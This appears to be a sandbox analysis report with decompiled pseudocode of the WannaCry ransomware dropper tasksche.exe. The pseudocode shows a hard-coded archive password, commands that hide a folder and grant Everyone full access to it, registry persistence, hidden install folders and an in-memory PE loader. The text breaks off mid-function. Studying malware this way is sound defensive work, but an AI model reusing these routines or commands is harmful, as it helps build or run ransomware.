                    0x00407227
                    0x0040722a
                    0x00000000
                    0x00407230
                    0x00407230
                    0x00407233
                    0x0040723c
                    0x0040723c
                    0x0040723e
                    0x00407241
                    0x00407255
                    0x0040725a
                    0x00407261
                    0x0040729c
                    0x0040729f
                    0x004072a9
                    0x004072ac
                    0x004072ae
                    0x004072b0
                    0x004072b2
                    0x004072b2
                    0x004072b4
                    0x00000000
                    0x00000000
                    0x004072b6
                    0x004072b8
                    0x004072be
                    0x004072be
                    0x004072c1
                    0x004072c1
                    0x004072c4
                    0x00000000
                    0x004072c4
                    0x004072ba
                    0x004072bc
                    0x00000000
                    0x00000000
                    0x00000000
                    0x004072bc
                    0x004072cf
                    0x004072d5
                    0x004072d8
                    0x00407347
                    0x0040734f
                    0x00407356
                    0x0040737b
                    0x0040738f
                    0x0040739e
                    0x004073a3
                    0x00407312
                    0x00407312
                    0x0040732b
                    0x00407331
                    0x00407331
                    0x00407334
                    0x00407337
                    0x004073b3
                    0x004073b8
                    0x004073c0
                    0x004073c6
                    0x004073c9
                    0x004073ce
                    0x004073cf
                    0x004073cf
                    0x004073d5
                    0x004073d5
                    0x004073d5
                    0x004073d9
                    0x004073eb
                    0x004073ed
                    0x004073f0
                    0x004073f3
                    0x00000000
                    0x00000000
                    0x004073f5
                    0x004073f7
                    0x0040742a
                    0x0040742a
                    0x0040745a
                    0x0040745a
                    0x0040745e
                    0x00407463
                    0x00407463
                    0x0040746b
                    0x00000000
                    0x00407473
                    0x004073f9
                    0x00407415
                    0x00407415
                    0x00407419
                    0x00407454
                    0x00000000
                    0x00407454
                    0x0040741b
                    0x0040741d
                    0x00000000
                    0x00000000
                    0x00000000
                    0x0040741f
                    0x0040740b
                    0x00407411
                    0x00407413
                    0x00407433
                    0x00000000
                    0x00407433
                    0x00000000
                    0x00407413
                    0x00407421
                    0x00000000
                    0x00407421
                    0x00000000
                    0x00407339
                    0x00407358
                    0x0040735f
                    0x00000000
                    0x00000000
                    0x00407361
                    0x00407368
                    0x004072e1
                    0x004072e7
                    0x004072fc
                    0x0040730a
                    0x0040730f
                    0x00000000
                    0x0040730f
                    0x0040736e
                    0x00407375
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00407375
                    0x004072da
                    0x004072da
                    0x004072da
                    0x00000000
                    0x004072da
                    0x004072a1
                    0x00000000
                    0x004072a1
                    0x00407263
                    0x00407266
                    0x00000000
                    0x00000000
                    0x0040726c
                    0x0040726f
                    0x00407271
                    0x00407273
                    0x00407283
                    0x00407283
                    0x00407284
                    0x00407290
                    0x00407290
                    0x00000000
                    0x00407296
                    0x00407275
                    0x00407277
                    0x00000000
                    0x00000000
                    0x00407279
                    0x0040727b
                    0x00407288
                    0x00407288
                    0x00407288
                    0x0040728e
                    0x0040728f
                    0x00000000
                    0x0040728f
                    0x0040727d
                    0x00407281
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00407281
                    0x00407244
                    0x0040723b
                    0x00000000
                    0x0040723b
                    0x00407236
                    0x00000000
                    0x00407236
                    0x00000000
                    0x00000000
                    0x00000000

                    Strings
                    Memory Dump Source
                    • Source File: 00000016.00000002.538456355.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000016.00000002.538442310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538487624.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538519387.000000000040E000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538530695.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_22_2_400000_tasksche.jbxd
                    Yara matches
                    Similarity
                    • API ID:
                    • String ID: %s%s$%s%s%s$:$\
                    • API String ID: 0-1100577047
                    • Opcode ID: fa5f8851d26bf09fdef4e4f1c55e900ad1a47778409aa7a1c0108d1ccba85c9d
                    • Instruction ID: 622825bbce38b7500016b977d00db7372d85e5c8e1565b3adbba59f792ee02a2
                    • Opcode Fuzzy Hash: fa5f8851d26bf09fdef4e4f1c55e900ad1a47778409aa7a1c0108d1ccba85c9d
                    • Instruction Fuzzy Hash: 42A12A31C082049BDB319F14CC44BEA7BA9AB01314F2445BFF895B62D1D73DBA95CB5A
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 0040203B Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 106stringfileCOMMON
                    Download Yara Rule
                    C-Code - Quality: 77%
                    			E0040203B(intOrPtr* __eax, void* __edi) {
				void* _t25;
				intOrPtr* _t33;
				int _t42;
				CHAR* _t63;
				void* _t64;
				char** _t66;

				__imp____p___argv();
				if(strcmp( *( *__eax + 4), "/i") != 0 || E00401B5F(_t42) == 0) {
					L4:
					if(strrchr(_t64 - 0x20c, 0x5c) != 0) {
						 *(strrchr(_t64 - 0x20c, 0x5c)) = _t42;
					}
					SetCurrentDirectoryA(_t64 - 0x20c);
					E004010FD(1);
					 *_t66 = "WNcry@2ol7";
					_push(_t42);
					L00401DAB();
					E00401E9E();
					E00401064("attrib +h .", _t42, _t42);
					E00401064("icacls . /grant Everyone:F /T /C /Q", _t42, _t42);
					_t25 = E0040170A();
					_t74 = _t25;
					if(_t25 != 0) {
						E004012FD(_t64 - 0x6e4, _t74);
						if(E00401437(_t64 - 0x6e4, _t42, _t42, _t42) != 0) {
							 *(_t64 - 4) = _t42;
							if(E004014A6(_t64 - 0x6e4, "t.wnry", _t64 - 4) != _t42 && E004021BD(_t31,  *(_t64 - 4)) != _t42) {
								_t33 = E00402924(_t32, "TaskStart");
								_t78 = _t33 - _t42;
								if(_t33 != _t42) {
									 *_t33(_t42, _t42);
								}
							}
						}
						E0040137A(_t64 - 0x6e4, _t78);
					}
					goto L13;
				} else {
					_t63 = "tasksche.exe";
					CopyFileA(_t64 - 0x20c, _t63, _t42);
					if(GetFileAttributesA(_t63) == 0xffffffff || E00401F5D(__edi) == 0) {
						goto L4;
					} else {
						L13:
						return 0;
					}
				}
			}









                    0x00402040
                    0x00402054
                    0x0040208e
                    0x004020a3
                    0x004020b1
                    0x004020b3
                    0x004020bb
                    0x004020c3
                    0x004020c8
                    0x004020cf
                    0x004020d0
                    0x004020d5
                    0x004020e1
                    0x004020ed
                    0x004020f5
                    0x004020fa
                    0x004020fc
                    0x00402104
                    0x00402119
                    0x0040212a
                    0x00402134
                    0x0040214b
                    0x00402151
                    0x00402154
                    0x00402158
                    0x00402158
                    0x00402154
                    0x00402134
                    0x00402160
                    0x00402160
                    0x00000000
                    0x00402061
                    0x00402061
                    0x0040206f
                    0x0040207f
                    0x00000000
                    0x00402165
                    0x00402165
                    0x0040216b
                    0x0040216b
                    0x0040207f

                    APIs
                    • __p___argv.MSVCRT(0040F538), ref: 00402040
                    • strcmp.MSVCRT(?), ref: 0040204B
                    • CopyFileA.KERNEL32(?,tasksche.exe), ref: 0040206F
                    • GetFileAttributesA.KERNEL32(tasksche.exe), ref: 00402076
                      • Part of subcall function 00401F5D: GetFullPathNameA.KERNEL32(tasksche.exe,00000208,?,00000000), ref: 00401F97
                    • strrchr.MSVCRT(?,0000005C,?,?,00000000), ref: 0040209D
                    • strrchr.MSVCRT(?,0000005C), ref: 004020AE
                    • SetCurrentDirectoryA.KERNEL32(?,00000000), ref: 004020BB
                      • Part of subcall function 00401B5F: MultiByteToWideChar.KERNEL32(00000000,00000000,0040F8AC,000000FF,?,00000063), ref: 00401BCA
                      • Part of subcall function 00401B5F: GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00401BDD
                      • Part of subcall function 00401B5F: swprintf.MSVCRT(?,%s\ProgramData,?), ref: 00401C04
                      • Part of subcall function 00401B5F: GetFileAttributesW.KERNEL32(?), ref: 00401C10
                    Strings
                    Memory Dump Source
                    • Source File: 00000016.00000002.538456355.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000016.00000002.538442310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538487624.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538519387.000000000040E000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538530695.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_22_2_400000_tasksche.jbxd
                    Yara matches
                    Similarity
                    • API ID: File$AttributesDirectorystrrchr$ByteCharCopyCurrentFullMultiNamePathWideWindows__p___argvstrcmpswprintf
                    • String ID: TaskStart$attrib +h .$icacls . /grant Everyone:F /T /C /Q$t.wnry$tasksche.exe
                    • API String ID: 1074704982-2844324180
                    • Opcode ID: 89895d8f6934e01f58802458fd3b58e20f5d1862df0252ba7c7124bca42d23be
                    • Instruction ID: 0f1cc1f94130967d107883c1ee7151828ebb686b55f89e1ef1b9593e139f0a32
                    • Opcode Fuzzy Hash: 89895d8f6934e01f58802458fd3b58e20f5d1862df0252ba7c7124bca42d23be
                    • Instruction Fuzzy Hash: 25318172500319AEDB24B7B19E89E9F376C9F10319F20057FF645F65E2DE788D488A28
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 004010FD Relevance: 19.4, APIs: 8, Strings: 3, Instructions: 100registrystringCOMMON
                    Download Yara Rule
                    C-Code - Quality: 58%
                    			E004010FD(intOrPtr _a4) {
				signed int _v8;
				signed int _v12;
				int _v16;
				void _v196;
				long _v216;
				void _v735;
				char _v736;
				signed int _t44;
				void* _t46;
				signed int _t55;
				signed int _t56;
				char* _t72;
				void* _t77;

				_t56 = 5;
				memcpy( &_v216, L"Software\\", _t56 << 2);
				_push(0x2d);
				_v736 = _v736 & 0;
				_v8 = _v8 & 0x00000000;
				memset( &_v735, memset( &_v196, 0, 0 << 2), 0x81 << 2);
				asm("stosw");
				asm("stosb");
				wcscat( &_v216, L"WanaCrypt0r");
				_v12 = _v12 & 0x00000000;
				_t72 = "wd";
				do {
					_push( &_v8);
					_push( &_v216);
					if(_v12 != 0) {
						_push(0x80000001);
					} else {
						_push(0x80000002);
					}
					RegCreateKeyW();
					if(_v8 != 0) {
						if(_a4 == 0) {
							_v16 = 0x207;
							_t44 = RegQueryValueExA(_v8, _t72, 0, 0,  &_v736,  &_v16);
							asm("sbb esi, esi");
							_t77 =  ~_t44 + 1;
							if(_t77 != 0) {
								SetCurrentDirectoryA( &_v736);
							}
						} else {
							GetCurrentDirectoryA(0x207,  &_v736);
							_t55 = RegSetValueExA(_v8, _t72, 0, 1,  &_v736, strlen( &_v736) + 1);
							asm("sbb esi, esi");
							_t77 =  ~_t55 + 1;
						}
						RegCloseKey(_v8);
						if(_t77 != 0) {
							_t46 = 1;
							return _t46;
						} else {
							goto L10;
						}
					}
					L10:
					_v12 = _v12 + 1;
				} while (_v12 < 2);
				return 0;
			}
















                    0x0040110f
                    0x00401116
                    0x00401118
                    0x0040111c
                    0x00401129
                    0x0040113a
                    0x0040113c
                    0x0040113e
                    0x0040114b
                    0x00401151
                    0x00401157
                    0x0040115c
                    0x00401164
                    0x0040116b
                    0x0040116c
                    0x00401175
                    0x0040116e
                    0x0040116e
                    0x0040116e
                    0x0040117a
                    0x00401183
                    0x0040118c
                    0x004011cf
                    0x004011e4
                    0x004011ee
                    0x004011f0
                    0x004011f1
                    0x004011fa
                    0x004011fa
                    0x0040118e
                    0x0040119a
                    0x004011bd
                    0x004011c7
                    0x004011c9
                    0x004011c9
                    0x00401203
                    0x0040120b
                    0x00401222
                    0x00000000
                    0x00000000
                    0x00000000
                    0x00000000
                    0x0040120b
                    0x0040120d
                    0x0040120d
                    0x00401210
                    0x00000000

                    APIs
                    • wcscat.MSVCRT(?,WanaCrypt0r,?,0000DDB6), ref: 0040114B
                    • RegCreateKeyW.ADVAPI32(80000001,?,00000000), ref: 0040117A
                    • GetCurrentDirectoryA.KERNEL32(00000207,?), ref: 0040119A
                    • strlen.MSVCRT(?), ref: 004011A7
                    • RegSetValueExA.ADVAPI32(00000000,0040E030,00000000,00000001,?,00000001), ref: 004011BD
                    • RegQueryValueExA.ADVAPI32(00000000,0040E030,00000000,00000000,?,?), ref: 004011E4
                    • SetCurrentDirectoryA.KERNEL32(?), ref: 004011FA
                    • RegCloseKey.ADVAPI32(00000000), ref: 00401203
                    Strings
                    Memory Dump Source
                    • Source File: 00000016.00000002.538456355.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000016.00000002.538442310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538487624.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538519387.000000000040E000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538530695.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_22_2_400000_tasksche.jbxd
                    Yara matches
                    Similarity
                    • API ID: CurrentDirectoryValue$CloseCreateQuerystrlenwcscat
                    • String ID: 0@$Software\$WanaCrypt0r
                    • API String ID: 865909632-3421300005
                    • Opcode ID: be197859f140e0a5161343930b87c84f9738d6a9d10ac2d583ef225433aeadb0
                    • Instruction ID: 752dd9e6153134350df00ddc45e524be7a8e60cbe47ba2191db59f61a0b32c4f
                    • Opcode Fuzzy Hash: be197859f140e0a5161343930b87c84f9738d6a9d10ac2d583ef225433aeadb0
                    • Instruction Fuzzy Hash: 09316232801228EBDB218B90DD09BDEBB78EB44751F1140BBE645F6190CB745E84CBA8
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00401B5F Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 123COMMON
                    Download Yara Rule
                    C-Code - Quality: 81%
                    			E00401B5F(intOrPtr _a4) {
				void _v202;
				short _v204;
				void _v722;
				long _v724;
				signed short _v1240;
				void _v1242;
				long _v1244;
				void* _t55;
				signed int _t65;
				void* _t72;
				long _t83;
				void* _t94;
				void* _t98;

				_t83 =  *0x40f874; // 0x0
				_v1244 = _t83;
				memset( &_v1242, 0, 0x81 << 2);
				asm("stosw");
				_v724 = _t83;
				memset( &_v722, 0, 0x81 << 2);
				asm("stosw");
				_push(0x31);
				_v204 = _t83;
				memset( &_v202, 0, 0 << 2);
				asm("stosw");
				MultiByteToWideChar(0, 0, 0x40f8ac, 0xffffffff,  &_v204, 0x63);
				GetWindowsDirectoryW( &_v1244, 0x104);
				_v1240 = _v1240 & 0x00000000;
				swprintf( &_v724, L"%s\\ProgramData",  &_v1244);
				_t98 = _t94 + 0x30;
				if(GetFileAttributesW( &_v724) == 0xffffffff) {
					L3:
					swprintf( &_v724, L"%s\\Intel",  &_v1244);
					if(E00401AF6( &_v724,  &_v204, _a4) != 0 || E00401AF6( &_v1244,  &_v204, _a4) != 0) {
						L2:
						_t55 = 1;
						return _t55;
					} else {
						GetTempPathW(0x104,  &_v724);
						if(wcsrchr( &_v724, 0x5c) != 0) {
							 *(wcsrchr( &_v724, 0x5c)) =  *_t69 & 0x00000000;
						}
						_t65 = E00401AF6( &_v724,  &_v204, _a4);
						asm("sbb eax, eax");
						return  ~( ~_t65);
					}
				}
				_t72 = E00401AF6( &_v724,  &_v204, _a4);
				_t98 = _t98 + 0xc;
				if(_t72 == 0) {
					goto L3;
				}
				goto L2;
			}
















                    0x00401b68
                    0x00401b80
                    0x00401b87
                    0x00401b89
                    0x00401b95
                    0x00401b9c
                    0x00401b9e
                    0x00401ba0
                    0x00401bab
                    0x00401bb4
                    0x00401bb6
                    0x00401bca
                    0x00401bdd
                    0x00401be9
                    0x00401c04
                    0x00401c06
                    0x00401c19
                    0x00401c40
                    0x00401c53
                    0x00401c70
                    0x00401c38
                    0x00401c3a
                    0x00000000
                    0x00401c8f
                    0x00401c97
                    0x00401cb2
                    0x00401cbf
                    0x00401cc4
                    0x00401cd6
                    0x00401ce0
                    0x00000000
                    0x00401ce2
                    0x00401c70
                    0x00401c2c
                    0x00401c31
                    0x00401c36
                    0x00000000
                    0x00000000
                    0x00000000

                    APIs
                    • MultiByteToWideChar.KERNEL32(00000000,00000000,0040F8AC,000000FF,?,00000063), ref: 00401BCA
                    • GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00401BDD
                    • swprintf.MSVCRT(?,%s\ProgramData,?), ref: 00401C04
                    • GetFileAttributesW.KERNEL32(?), ref: 00401C10
                    • swprintf.MSVCRT(?,%s\Intel,?), ref: 00401C53
                    • GetTempPathW.KERNEL32(00000104,?), ref: 00401C97
                    • wcsrchr.MSVCRT(?,0000005C), ref: 00401CAC
                    • wcsrchr.MSVCRT(?,0000005C), ref: 00401CBD
                      • Part of subcall function 00401AF6: CreateDirectoryW.KERNEL32(?,00000000), ref: 00401B07
                      • Part of subcall function 00401AF6: SetCurrentDirectoryW.KERNEL32(?), ref: 00401B12
                      • Part of subcall function 00401AF6: CreateDirectoryW.KERNEL32(?,00000000), ref: 00401B1E
                      • Part of subcall function 00401AF6: SetCurrentDirectoryW.KERNEL32(?), ref: 00401B21
                    Strings
                    Memory Dump Source
                    • Source File: 00000016.00000002.538456355.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000016.00000002.538442310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538487624.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538519387.000000000040E000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538530695.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_22_2_400000_tasksche.jbxd
                    Yara matches
                    Similarity
                    • API ID: Directory$CreateCurrentswprintfwcsrchr$AttributesByteCharFileMultiPathTempWideWindows
                    • String ID: %s\Intel$%s\ProgramData
                    • API String ID: 3806094219-198707228
                    • Opcode ID: e04e666ac5ff563214b472014ed4c30e25de200c4a7bf1775954a8b15fda063a
                    • Instruction ID: 4ac525b1174630586dc3f01422198d44c3eaba501bd80531e66e43f198221a67
                    • Opcode Fuzzy Hash: e04e666ac5ff563214b472014ed4c30e25de200c4a7bf1775954a8b15fda063a
                    • Instruction Fuzzy Hash: 2C41447294021DAAEF609BA0DD45FDA777CAF04310F1045BBE608F71E0EA74DA888F59
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 004021E9 Relevance: 16.0, APIs: 6, Strings: 3, Instructions: 233memoryCOMMON
                    Download Yara Rule
                    C-Code - Quality: 64%
                    			E004021E9(void* _a4, char _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28, void* _a32) {
				signed int _v8;
				intOrPtr _v40;
				char _v44;
				void* _t82;
				struct HINSTANCE__* _t83;
				intOrPtr* _t84;
				intOrPtr _t89;
				void* _t91;
				void* _t104;
				void _t107;
				intOrPtr _t116;
				intOrPtr _t124;
				signed int _t125;
				signed char _t126;
				intOrPtr _t127;
				signed int _t134;
				intOrPtr* _t145;
				signed int _t146;
				intOrPtr* _t151;
				intOrPtr _t152;
				short* _t153;
				signed int _t155;
				void* _t156;
				intOrPtr _t157;
				void* _t158;
				void* _t159;
				void* _t160;

				_v8 = _v8 & 0x00000000;
				_t3 =  &_a8; // 0x40213f
				if(E00402457( *_t3, 0x40) == 0) {
					L37:
					return 0;
				}
				_t153 = _a4;
				if( *_t153 == 0x5a4d) {
					if(E00402457(_a8,  *((intOrPtr*)(_t153 + 0x3c)) + 0xf8) == 0) {
						goto L37;
					}
					_t151 =  *((intOrPtr*)(_t153 + 0x3c)) + _t153;
					if( *_t151 != 0x4550 ||  *((short*)(_t151 + 4)) != 0x14c) {
						goto L2;
					} else {
						_t9 = _t151 + 0x38; // 0x68004021
						_t126 =  *_t9;
						if((_t126 & 0x00000001) != 0) {
							goto L2;
						}
						_t12 = _t151 + 0x14; // 0x4080e415
						_t13 = _t151 + 6; // 0x4080e0
						_t146 =  *_t13 & 0x0000ffff;
						_t82 = ( *_t12 & 0x0000ffff) + _t151 + 0x18;
						if(_t146 <= 0) {
							L16:
							_t83 = GetModuleHandleA("kernel32.dll");
							if(_t83 == 0) {
								goto L37;
							}
							_t84 = _a24(_t83, "GetNativeSystemInfo", 0);
							_t159 = _t158 + 0xc;
							if(_t84 == 0) {
								goto L37;
							}
							 *_t84( &_v44);
							_t86 = _v40;
							_t23 = _t151 + 0x50; // 0xec8b55c3
							_t25 = _t86 - 1; // 0xec8b55c2
							_t27 = _t86 - 1; // -1
							_t134 =  !_t27;
							_t155 =  *_t23 + _t25 & _t134;
							if(_t155 != (_v40 + _v8 - 0x00000001 & _t134)) {
								goto L2;
							}
							_t31 = _t151 + 0x34; // 0x85680040
							_t89 = _a12( *_t31, _t155, 0x3000, 4, _a32);
							_t127 = _t89;
							_t160 = _t159 + 0x14;
							if(_t127 != 0) {
								L21:
								_t91 = HeapAlloc(GetProcessHeap(), 8, 0x3c);
								_t156 = _t91;
								if(_t156 != 0) {
									 *((intOrPtr*)(_t156 + 4)) = _t127;
									_t38 = _t151 + 0x16; // 0xc3004080
									 *(_t156 + 0x14) =  *_t38 >> 0x0000000d & 0x00000001;
									 *((intOrPtr*)(_t156 + 0x1c)) = _a12;
									 *((intOrPtr*)(_t156 + 0x20)) = _a16;
									 *((intOrPtr*)(_t156 + 0x24)) = _a20;
									 *((intOrPtr*)(_t156 + 0x28)) = _a24;
									 *((intOrPtr*)(_t156 + 0x2c)) = _a28;
									 *((intOrPtr*)(_t156 + 0x30)) = _a32;
									 *((intOrPtr*)(_t156 + 0x38)) = _v40;
									_t54 = _t151 + 0x54; // 0x8328ec83
									if(E00402457(_a8,  *_t54) == 0) {
										L36:
										E004029CC(_t156);
										goto L37;
									}
									_t57 = _t151 + 0x54; // 0x8328ec83
									_t104 = _a12(_t127,  *_t57, 0x1000, 4, _a32);
									_t59 = _t151 + 0x54; // 0x8328ec83
									_a32 = _t104;
									memcpy(_t104, _a4,  *_t59);
									_t107 =  *((intOrPtr*)(_a4 + 0x3c)) + _a32;
									 *_t156 = _t107;
									 *((intOrPtr*)(_t107 + 0x34)) = _t127;
									if(E00402470(_a4, _a8, _t151, _t156) == 0) {
										goto L36;
									}
									_t68 = _t151 + 0x34; // 0x85680040
									_t111 =  *((intOrPtr*)( *_t156 + 0x34)) ==  *_t68;
									if( *((intOrPtr*)( *_t156 + 0x34)) ==  *_t68) {
										_t152 = 1;
										 *((intOrPtr*)(_t156 + 0x18)) = _t152;
									} else {
										 *((intOrPtr*)(_t156 + 0x18)) = E00402758(_t156, _t111);
										_t152 = 1;
									}
									if(E004027DF(_t156) != 0 && E0040254B(_t156) != 0 && E0040271D(_t156) != 0) {
										_t116 =  *((intOrPtr*)( *_t156 + 0x28));
										if(_t116 == 0) {
											 *((intOrPtr*)(_t156 + 0x34)) = 0;
											L41:
											return _t156;
										}
										if( *(_t156 + 0x14) == 0) {
											 *((intOrPtr*)(_t156 + 0x34)) = _t116 + _t127;
											goto L41;
										}
										_push(0);
										_push(_t152);
										_push(_t127);
										if( *((intOrPtr*)(_t116 + _t127))() != 0) {
											 *((intOrPtr*)(_t156 + 0x10)) = _t152;
											goto L41;
										}
										SetLastError(0x45a);
									}
									goto L36;
								}
								_a16(_t127, _t91, 0x8000, _a32);
								L23:
								SetLastError(0xe);
								L3:
								goto L37;
							}
							_t127 = _a12(_t89, _t155, 0x3000, 4, _a32);
							_t160 = _t160 + 0x14;
							if(_t127 == 0) {
								goto L23;
							}
							goto L21;
						}
						_t145 = _t82 + 0xc;
						do {
							_t157 =  *((intOrPtr*)(_t145 + 4));
							_t124 =  *_t145;
							if(_t157 != 0) {
								_t125 = _t124 + _t157;
							} else {
								_t125 = _t124 + _t126;
							}
							if(_t125 > _v8) {
								_v8 = _t125;
							}
							_t145 = _t145 + 0x28;
							_t146 = _t146 - 1;
						} while (_t146 != 0);
						goto L16;
					}
				}
				L2:
				SetLastError(0xc1);
				goto L3;
			}






























                    0x004021ef
                    0x004021f8
                    0x00402204
                    0x0040243d
                    0x00000000
                    0x0040243d
                    0x0040220a
                    0x00402212
                    0x00402239
                    0x00000000
                    0x00000000
                    0x00402242
                    0x0040224a
                    0x00000000
                    0x00402254
                    0x00402254
                    0x00402254
                    0x0040225a
                    0x00000000
                    0x00000000
                    0x0040225c
                    0x00402260
                    0x00402260
                    0x00402266
                    0x0040226a
                    0x0040228c
                    0x00402291
                    0x00402299
                    0x00000000
                    0x00000000
                    0x004022a7
                    0x004022aa
                    0x004022af
                    0x00000000
                    0x00000000
                    0x004022b9
                    0x004022bb
                    0x004022be
                    0x004022c1
                    0x004022c8
                    0x004022cb
                    0x004022d1
                    0x004022d7
                    0x00000000
                    0x00000000
                    0x004022e8
                    0x004022eb
                    0x004022ee
                    0x004022f0
                    0x004022f5
                    0x0040230f
                    0x0040231a
                    0x00402320
                    0x00402324
                    0x0040233d
                    0x00402340
                    0x0040234a
                    0x00402350
                    0x00402356
                    0x0040235c
                    0x00402362
                    0x00402368
                    0x0040236e
                    0x00402374
                    0x00402377
                    0x00402386
                    0x00402436
                    0x00402437
                    0x00000000
                    0x0040243c
                    0x00402396
                    0x0040239a
                    0x0040239d
                    0x004023a0
                    0x004023a7
                    0x004023ba
                    0x004023bc
                    0x004023bf
                    0x004023cc
                    0x00000000
                    0x00000000
                    0x004023d3
                    0x004023d3
                    0x004023d6
                    0x004023eb
                    0x004023ec
                    0x004023d8
                    0x004023e0
                    0x004023e6
                    0x004023e6
                    0x004023f8
                    0x00402414
                    0x00402419
                    0x0040244d
                    0x00402450
                    0x00000000
                    0x00402450
                    0x0040241e
                    0x00402448
                    0x00000000
                    0x00402448
                    0x00402420
                    0x00402421
                    0x00402424
                    0x00402429
                    0x00402441
                    0x00000000
                    0x00402441
                    0x00402430
                    0x00402430
                    0x00000000
                    0x004023f8
                    0x00402330
                    0x00402336
                    0x00402219
                    0x00402219
                    0x00000000
                    0x00402219
                    0x00402306
                    0x00402308
                    0x0040230d
                    0x00000000
                    0x00000000
                    0x00000000
                    0x0040230d
                    0x0040226c
                    0x0040226f
                    0x0040226f
                    0x00402272
                    0x00402276
                    0x0040227c
                    0x00402278
                    0x00402278
                    0x00402278
                    0x00402281
                    0x00402283
                    0x00402283
                    0x00402286
                    0x00402289
                    0x00402289
                    0x00000000
                    0x0040226f
                    0x0040224a
                    0x00402214
                    0x00402219
                    0x00000000

                    APIs
                      • Part of subcall function 00402457: SetLastError.KERNEL32(0000000D,00402200,?!@,00000040,?,0000DDB6,?,00402185,0040216E,00402185,00402198,004021A3,004021B2,00000000,0040213F,00000000), ref: 00402463
                    • SetLastError.KERNEL32(000000C1,?,0000DDB6,?,00402185,0040216E,00402185,00402198,004021A3,004021B2,00000000,0040213F,00000000), ref: 00402219
                    • GetModuleHandleA.KERNEL32(kernel32.dll,?,0000DDB6,?,00402185,0040216E,00402185,00402198,004021A3,004021B2,00000000,0040213F,00000000), ref: 00402291
                    • GetProcessHeap.KERNEL32(00000008,0000003C,?,?,?,?,?,?,?,?,?,?,00402185,00402198,004021A3,004021B2), ref: 00402313
                    • HeapAlloc.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?,00402185,00402198,004021A3,004021B2,00000000), ref: 0040231A
                    • memcpy.MSVCRT(00000000,?,8328EC83,?,?,?,?,?,?,?,?,?,?,00402185,00402198,004021A3), ref: 004023A7
                      • Part of subcall function 00402470: memset.MSVCRT(?,00000000,?), ref: 004024D5
                    • SetLastError.KERNEL32(0000045A), ref: 00402430
                    Strings
                    Memory Dump Source
                    • Source File: 00000016.00000002.538456355.0000000000401000.00000020.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                    • Associated: 00000016.00000002.538442310.0000000000400000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538487624.0000000000408000.00000002.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538519387.000000000040E000.00000008.00000001.01000000.00000007.sdmpDownload File
                    • Associated: 00000016.00000002.538530695.0000000000410000.00000002.00000001.01000000.00000007.sdmpDownload File
                    Joe Sandbox IDA Plugin
                    • Snapshot File: hcaresult_22_2_400000_tasksche.jbxd
                    Yara matches
                    Similarity
                    • API ID: ErrorLast$Heap$AllocHandleModuleProcessmemcpymemset
                    • String ID: ?!@$GetNativeSystemInfo$kernel32.dll
                    • API String ID: 1900561814-3657104962
                    • Opcode ID: 0e24c0e50799aa35dd9f5fcc36a4565fcb8133d83dc7aa1daf15d2422d00f892
                    • Instruction ID: 3b750285519b5b92c664dbe57bf04ddc7e4262fbacbc213f0015b22f99412f1c
                    • Opcode Fuzzy Hash: 0e24c0e50799aa35dd9f5fcc36a4565fcb8133d83dc7aa1daf15d2422d00f892
                    • Instruction Fuzzy Hash: 0A81AD71A01602AFDB209FA5CE49AAB77E4BF08314F10443EF945E76D1D7B8E851CB98
                    Uniqueness

                    Uniqueness Score: -1.00%

                    Function 00401AF6 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 45COMMON
                    Download Yara Rule
                    C-Code - Quality: 91%
                    			E00401AF6(WCHAR* _a4, WCHAR* _a8, wchar_t* _a12) {
				void* _t15;
				WCHAR* _t17;

				CreateDirectoryW(_a4, 0);
				if(SetCurrentDirectoryW(_a4) == 0) {
					L2:
					return 0;
				}
				_t17 = _a8;
				CreateDirectoryW(_t17, 0);
				if(SetCurrentDirectoryW(_t17) != 0) {
					SetFileAttributesW(_t17, GetFileAttributesW(_t17) | 0x00000006);
